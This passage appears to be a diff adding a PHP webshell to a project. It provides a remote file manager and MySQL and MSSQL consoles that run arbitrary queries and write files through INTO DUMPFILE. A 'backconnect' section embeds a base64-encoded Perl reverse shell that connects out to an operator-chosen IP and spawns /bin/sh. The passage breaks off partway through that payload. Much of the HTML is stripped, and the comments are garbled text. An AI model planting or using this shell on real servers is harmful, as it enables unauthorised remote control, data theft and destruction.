makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'rename')); + makehide('oldname'); + makehide('newfilename'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileopform', 'target'=>'_blank')); + makehide('action'); + makehide('opfile'); + makehide('dir'); + formfoot(); + formhead(array('name'=>'getsize')); + makehide('getdir'); + makehide('dir'); + formfoot(); + + $free = @disk_free_space($nowpath); + !$free && $free = 0; + $all = @disk_total_space($nowpath); + !$all && $all = 0; + $used = $all-$free; + $used_percent = @round(100/($all/$free),2); + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)

'); + +?> + + + + + + + + +
Current Directory (, )
+ +
'); + p('
'); + p('WebRoot'); + p(' | ScriptPath'); + p(' | View All'); + p(' | View Writable ( Directory'); + p(' | File )'); + p(' | Create Directory | Create File'); + if (IS_WIN && IS_COM) { + $obj = new COM('scripting.filesystemobject'); + if ($obj && is_object($obj) && is_array($obj->Drives)) { + $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); + foreach($obj->Drives as $drive) { + if ($drive->DriveType == 2) { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } else { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } + } + } + } + + p('
Find string in files(current folder): Type: Regular expressions
 FilenameLast modifiedSizeChmod / PermsAction
0'.$dirdb['filename'].''.$dirdb['mtime'].''.$attachsize.''); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Del | Rename
=Parent Directory
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); + p(''.$filedb['filechmod'].' / '); + p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); + p('Down | '); + p('Copy | '); + p('Edit | '); + p('Rename | '); + p('Time'); + p('
Packing download selected - Delete selected'.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($action == 'sqlfile') { + if($doing=="mysqlupload"){ + $file = $_FILES['uploadfile']; + $filename = $file['tmp_name']; + if (file_exists($savepath)) { + m('The goal file has already existed'); + } else { + if(!$filename) { + m('Please choose a file'); + } else { + $fp=@fopen($filename,'r'); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents = bin2hex($contents); + if(!$upname) $upname = $file['name']; + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); + m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); + } + } + } +?> + +'MYSQL Information','name'=>'dbinfo')); + makehide('action','sqlfile'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBName:'); + makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); + p('

'); + formfoot(); + p('
'); + p('

Upload file

'); + p('

This operation the DB user must has FILE privilege

'); + p('

Save path(fullpath): Choose a file: Upload

'); + p('

Download file

'); + p('

File: Download

'); + makehide('dbhost'); + makehide('dbport'); + makehide('dbuser'); + makehide('dbpass'); + makehide('dbname'); + makehide('charset'); + makehide('doing'); + makehide('action','sqlfile'); + p('
'); +} + +elseif ($action == 'mysqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'root'; + !$dbport && $dbport = '3306'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbport)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if(isset($charset)) { + $dbform .= "\n"; + } + + if ($doing == 'backupmysql' && $saveasfile) { + if (!$table) { + m('Please choose the table'); + } else { + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $table = array_flip($table); + $fp = @fopen($path,'w'); + if ($fp) { + $result = q('SHOW tables'); + if (!$result) p('

'.mysql_error().'

'); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $fp); + } + } + fclose($fp); + $fileurl = str_replace(SA_ROOT,'',$path); + m('Database has success backup to '.$path.''); + mysql_close(); + } else { + m('Backup failed'); + } + } + } + if ($insert && $insertsql) { + $keystr = $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + if ($val) { + $keystr .= $tmp.$key; + $valstr .= $tmp."'".addslashes($val)."'"; + $tmp = ','; + } + } + if ($keystr && $valstr) { + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); + } + } + if ($update && $insertsql && $base64) { + $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + $valstr .= $tmp.$key."='".addslashes($val)."'"; + $tmp = ','; + } + if ($valstr) { + $where = base64_decode($base64); + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); + } + } + if ($doing == 'del' && $base64) { + $where = base64_decode($base64); + $delete_sql = "DELETE FROM $tablename WHERE $where"; + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); + } + + if ($tablename && $doing == 'drop') { + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + if (q("DROP TABLE $tablename")) { + m('Drop table of success'); + $tablename = ''; + } else { + m(mysql_error()); + } + } + + formhead(array('title'=>'MYSQL Manager')); + makehide('action','mysqladmin'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +?> + +'recordlist')); + makehide('doing'); + makehide('action','mysqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //Ñ¡¶¨Êý¾Ý¿â + formhead(array('name'=>'setdbname')); + makehide('action','mysqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //Ñ¡¶¨±í + formhead(array('name'=>'settable')); + makehide('action','mysqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ + $mysqlver = mysql_get_server_info(); + p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); + $highver = $mysqlver > '4.1' ? 1 : 0; + + //»ñÈ¡Êý¾Ý¿â + $query = q("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mysql_fetch_array($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p('

'); + p('Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('

'); + mysql_select_db($dbname); + + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = $sql_query; + $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; + $allowedit = 1; + } + p('
'); + p('

Run SQL query/queries on database '.$dbname.':

'); + makehide('tablename', $tablename); + makehide('action','mysqladmin'); + p($dbform); + p('
'); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + } elseif ($doing == 'insert' || $doing == 'edit') { + $result = q('SHOW COLUMNS FROM '.$tablename); + while ($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + $rs = array(); + if ($doing == 'insert') { + p('

Insert new line in '.$tablename.' table »

'); + } else { + p('

Update record in '.$tablename.' table »

'); + $where = base64_decode($base64); + $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); + $rs = mysql_fetch_array($result); + } + p(''); + p($dbform); + makehide('action','mysqladmin'); + makehide('tablename',$tablename); + p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); + foreach ($rowdb as $row) { + if ($rs[$row['Field']]) { + $value = htmlspecialchars($rs[$row['Field']]); + } else { + $value = ''; + } + $thisbg = bg(); + p(''); + if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') { + p(''); + } else { + p(''); + } + } + if ($doing == 'insert') { + p(''); + } else { + p(''); + makehide('base64', $base64); + } + p('
'.$row['Field'].'
'.$row['Type'].'
'.$value.' 
'.$row['Field'].'
'.$row['Type'].'
'); + } else { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch(qy($query)) + { + case 0: + p('

Error : '.mysql_error().'

'); + break; + case 1: + if (strtolower(substr($query,0,13)) == 'select * from') { + $allowedit = 1; + } + if ($getnumsql) { + $tatol = mysql_num_rows(q($getnumsql)); + $multipage = multi($tatol, $pagenum, $page, $tablename); + } + if (!$tablename) { + $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); + $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); + preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); + $tablename = $matches[1][0]; + } + + /*********************/ + $getfield = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + $keyfied = ''; //Ö÷¼ü×Ö¶Î + while($row = @mysql_fetch_assoc($getfield)) { + $rowdb[$row['Field']]['Key'] = $row['Key']; + $rowdb[$row['Field']]['Extra'] = $row['Extra']; + if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') { + $keyfied = $row['Field']; + } + } + /*********************/ + //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ + if (strtolower(substr($query,0,13)) == 'select * from') { + $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query); + } + + $result = q($query); + + p($multipage); + p(''); + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + + while($mn = @mysql_fetch_assoc($result)){ + $thisbg = bg(); + p(''); + $where = $tmp = $b1 = ''; + //ѡȡÌõ¼þ×Ö¶ÎÓà + foreach($mn as $key=>$inside){ + if ($inside) { + //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£ + if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') { + $where = $key."='".addslashes($inside)."'"; + break; + } + $where .= $tmp.$key."='".addslashes($inside)."'"; + $tmp = ' AND '; + } + } + //¶ÁÈ¡¼Ç¼Óà + foreach($mn as $key=>$inside){ + $b1 .= ''; + } + $where = base64_encode($where); + + if ($allowedit) p(''); + + p($b1); + p(''); + unset($b1); + } + tbfoot(); + p($multipage); + break; + case 2: + $ar = mysql_affected_rows(); + p('

affected rows : '.$ar.'

'); + break; + } + } + } + } + } else { + $query = q("SHOW TABLE STATUS"); + $table_num = $table_rows = $data_size = 0; + $tabledb = array(); + while($table = mysql_fetch_array($query)) { + $data_size = $data_size + $table['Data_length']; + $table_rows = $table_rows + $table['Rows']; + $table['Data_length'] = sizecount($table['Data_length']); + $table_num++; + $tabledb[] = $table; + } + $data_size = sizecount($data_size); + unset($table); + p('
Action$name
$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
'.html_clean($inside).' Edit | Del
'); + p(''); + makehide('action','mysqladmin'); + p($dbform); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + + p(""); + makehide('doing','backupmysql'); + formfoot(); + p("
NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
'.$table['Name'].''.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Insert | Structure | Drop
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); + fr($query); + } + } + } + tbfoot(); + @mysql_close(); +}//end mysql + + +elseif ($action == 'mssqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'sa'; + !$dbname && $dbname = 'master'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if ($insert && $insertsql) { + $keystr = $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + if ($val) { + $keystr .= $tmp.$key; + $valstr .= $tmp."'".addslashes($val)."'"; + $tmp = ','; + } + } + if ($keystr && $valstr) { + msdbconn($dbhost,$dbuser,$dbpass,$dbname); + m(msq("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : msmsg()); + } + } + if ($update && $insertsql && $base64) { + $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + $valstr .= $tmp.$key."='".addslashes($val)."'"; + $tmp = ','; + } + if ($valstr) { + $where = base64_decode($base64); + msdbconn($dbhost,$dbuser,$dbpass,$dbname); + m(msq("UPDATE $tablename SET $valstr WHERE $where") ? 'Record updating' : msmsg()); + } + } + if ($doing == 'del' && $base64) { + $where = base64_decode($base64); + $delete_sql = "DELETE FROM $tablename WHERE $where"; + msdbconn($dbhost,$dbuser,$dbpass,$dbname); + m(msq("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : msmsg()); + } + + if ($tablename && $doing == 'drop') { + msdbconn($dbhost,$dbuser,$dbpass,$dbname); + if (msq("DROP TABLE $tablename")) { + m('Drop table of success'); + $tablename = ''; + } else { + m(msmsg()); + } + } + + formhead(array('title'=>'MSSQL Manager')); + makehide('action','mssqladmin'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +?> + +'recordlist')); + makehide('doing'); + makehide('action','mssqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //Êý¾Ý¿âÐÅÏ¢ + formhead(array('name'=>'mssqlinfo')); + makehide('action','mssqladmin'); + makehide('doing','mssqlinfo'); + makehide('dbname'); + p($dbform); + formfoot(); + + //Ñ¡¶¨Êý¾Ý¿â + formhead(array('name'=>'setdbname')); + makehide('action','mssqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //Ñ¡¶¨±í + formhead(array('name'=>'settable')); + makehide('action','mssqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + !$dbname && $dbname = 'master'; + msdbconn($dbhost, $dbuser, $dbpass, $dbname); + //////////////////////////////////////////////////////////////// + $query = msq('select @@version'); + $msinfo = mssql_fetch_array($query); + echo '

'.$msinfo[0].'

'; + + $query = msq("SELECT IS_SRVROLEMEMBER('sysadmin')"); + $msinfo = mssql_fetch_array($query); + $issa = 0; + if ($msinfo[0]) { + $issa = 1; + echo '

Your are sysadmin!

'; + } + //»ñÈ¡Êý¾Ý¿â + $query = msq("SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 ORDER BY name"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mssql_fetch_array($query)) { + $dbs[$db['name']] = $db['name']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p('

'); + p('Current dababase: '.$dbname.' [ information ]'); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('

'); + if (!@mssql_select_db($dbname)) { + p('

'.msmsg().'

'); + exit; + } + if ($doing == 'mssqlinfo') { + $result = msq("SELECT t1.owner, t1.crdate, t1.size, t2.DBBupDate, t3.DifBupDate, t4.JournalBupDate FROM (SELECT d.name, suser_sname(d.sid) AS owner, d.crdate, (SELECT STR(SUM(CONVERT(DEC(15), f.size)) * (SELECT v.low FROM master.dbo.spt_values v WHERE v.type = 'E' AND v.number = 1) / 1048576, 10, 2) + 'MB' FROM [$dbname].dbo.sysfiles f) AS size FROM master.dbo.sysdatabases d WHERE d.name = '$dbname') AS t1 LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DBBupDate FROM msdb.dbo.backupset WHERE type = 'D' AND database_name = '$dbname') AS t2 ON t1.name = t2.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DifBupDate FROM msdb.dbo.backupset WHERE type = 'I' AND database_name = '$dbname') AS t3 ON t1.name = t3.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS JournalBupDate FROM msdb.dbo.backupset WHERE type = 'L' AND database_name = '$dbname') AS t4 ON t1.name = t4.name"); + $info = mssql_fetch_assoc($result); + + p(''); + p(''); + p(''); + p(''); + + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + tbfoot(); + p('

'); + + $result = msq("EXEC sp_helpfile"); + $rowdb = array(); + while ($row = mssql_fetch_assoc($result)) { + $rowdb[] = $row; + } + foreach($rowdb as $row){ + p('
'.$dbname.' Information
Owner'.$info['owner'].'
Create date'.$info['crdate'].'
Size'.$info['size'].'
Last backup'.$info['DBBupDate'].' 
Last differential backup'.$info['DifBupDate'].' 
Last log backup'.$info['JournalBupDate'].' 
'); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + tbfoot(); + p('

'); + } + } else { + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = "SELECT count(*) FROM $tablename"; + $allowedit = 1; + } + + p(''); + p('

'.$row['name'].'
Filename'.$row['filename'].' 
Filegroup'.$row['filegroup'].' 
Size'.$row['size'].' 
Maxsize'.$row['maxsize'].' 
Growth'.$row['growth'].' 
Usage'.$row['usage'].' 
Run SQL query/queries on database '.$dbname.':

'); + makehide('tablename', $tablename); + makehide('action','mssqladmin'); + p($dbform); + p(''); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid"); + $rowdb = array(); + while($row = mssql_fetch_array($result)) { + $rowdb[] = $row; + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + } elseif ($doing == 'insert' || $doing == 'edit') { + $result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid"); + $rowdb = array(); + while($tb = @mssql_fetch_assoc($result)) { + $rowdb[$tb['name']] = $tb; + $rowdb[$tb['name']]['Key'] = $tb['colstat']; + $rowdb[$tb['name']]['Auto'] = $tb['autoval']; + } + $rs = array(); + if ($doing == 'insert') { + p('

Insert new line in '.$tablename.' table »

'); + } else { + p('

Update record in '.$tablename.' table »

'); + $where = base64_decode($base64); + + $result = msq("SELECT top 1 * FROM $tablename WHERE $where"); + $rs = mssql_fetch_array($result); + } + p(''); + p($dbform); + makehide('action','mssqladmin'); + makehide('tablename',$tablename); + p('
FieldTypeLengthIsnullableKeyDefaultExtra
'.$row['name'].''.$row['type'].'['.$row['xtype'].']'.$row['length'].' '.($row['isnullable'] ? 'Yes' : 'No').' '.($row['colstat'] ? 'PRIMARY' : '').' '.$row['text'].' '.($row['autoval'] ? 'Auto_increment' : '').' 
'); + + foreach ($rowdb as $row) { + if ($rs[$row['name']]) { + $value = htmlspecialchars($rs[$row['name']]); + } else { + $value = ''; + } + $thisbg = bg(); + p(''); + if ($row['Key'] || $row['Auto']) { + p(''); + } else { + p(''); + } + } + if ($doing == 'insert') { + p(''); + } else { + p(''); + makehide('base64', $base64); + } + p('
'.$row['name'].'
'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '
PRIMARY' : '').($row['autoval'] ? '
Auto' : '').'
'.$value.' 
'.$row['name'].'
'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '
PRIMARY' : '').($row['autoval'] ? '
Auto' : '').'
'); + } else { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch(msqy($query)) + { + case 0: + p('

Error : '.msmsg().'

'); + break; + case 1: + if (strtolower(substr($query,0,13)) == 'select * from') { + $allowedit = 1; + } + if ($getnumsql) { + $tatol = mssql_fetch_array(msq("SELECT count(*) FROM $tablename")); + $tatol = $tatol[0]; + $multipage = multi($tatol, $pagenum, $page, $tablename); + } + if (!$tablename) { + $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); + $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); + preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); + $tablename = $matches[1][0]; + } + p($multipage); + p(''); + p(''); + if ($allowedit) p(''); + + $result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid"); + $rowdb = array(); + $keyfied = ''; //Ö÷¼ü×Ö¶Î + while($tb = @mssql_fetch_array($result)) { + p(''); + $rowdb[$tb['name']]['Key'] = $tb['colstat']; + $rowdb[$tb['name']]['Auto'] = $tb['autoval']; + if ($tb['colstat']) { + $keyfied = $tb['name']; + } + } + p(''); + + //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ + if (strtolower(substr($query,0,13)) == 'select * from') { + $query .= " order by $keyfied DESC"; + } + + $result = msq($query); + $index=0; + if($pagenum>0) mssql_data_seek($result,$start_limit); + while($mn = @mssql_fetch_assoc($result)){ + if($index>$pagenum-1) break; + + $thisbg = bg(); + p(''); + $where = $tmp = $b1 = ''; + //ѡȡÌõ¼þ×Ö¶ÎÓà + foreach($mn as $key=>$inside){ + if ($inside) { + //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£ + if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) { + $where = $key."='".addslashes($inside)."'"; + break; + } + $where .= $tmp.$key."='".addslashes($inside)."'"; + $tmp = ' AND '; + } + } + //¶ÁÈ¡¼Ç¼Óà + foreach($mn as $key=>$inside){ + $b1 .= ''; + } + $where = base64_encode($where); + + if ($allowedit) p(''); + + p($b1); + p(''); + $index++; + unset($b1); + } + tbfoot(); + p($multipage); + break; + case 2: + $ar = mssql_affected_rows(); + p('

affected rows : '.$ar.'

'); + break; + } + } + } + } + } else { + $query = msq("select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name as owner,sysobjects.crdate from sysobjects join sysusers on sysobjects.uid = sysusers.uid where sysobjects.xtype = 'U' order by sysobjects.name asc"); + $table_num = 0; + $tabledb = array(); + while($table = mssql_fetch_array($query)) { + $table_num++; + $tabledb[] = $table; + } + unset($table); + + p('
Action'.$tb['name'].'
'.$tb['type'].'('.$tb['length'].') '.($tb['colstat'] ? ' - PRIMARY' : '').($tb['autoval'] ? ' - Auto' : '').'
'.html_clean($inside).' Edit | Del
'); + p(''); + makehide('action','mssqladmin'); + p($dbform); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p("
NameOwnerCreate_timeOperate
'.$table['name'].''.$table['owner'].''.$table['crdate'].'Insert | Structure | Drop
Total tables: '.$table_num.'
"); + msfr($query); + } + } + } + } + tbfoot(); + if ($alreadymssql) { + @mssql_close(); + } +}//end sql backup + + +elseif ($action == 'backconnect') { + !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; + !$yourport && $yourport = '12345'; + $usedb = array('perl'=>'perl','c'=>'c'); + + $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + 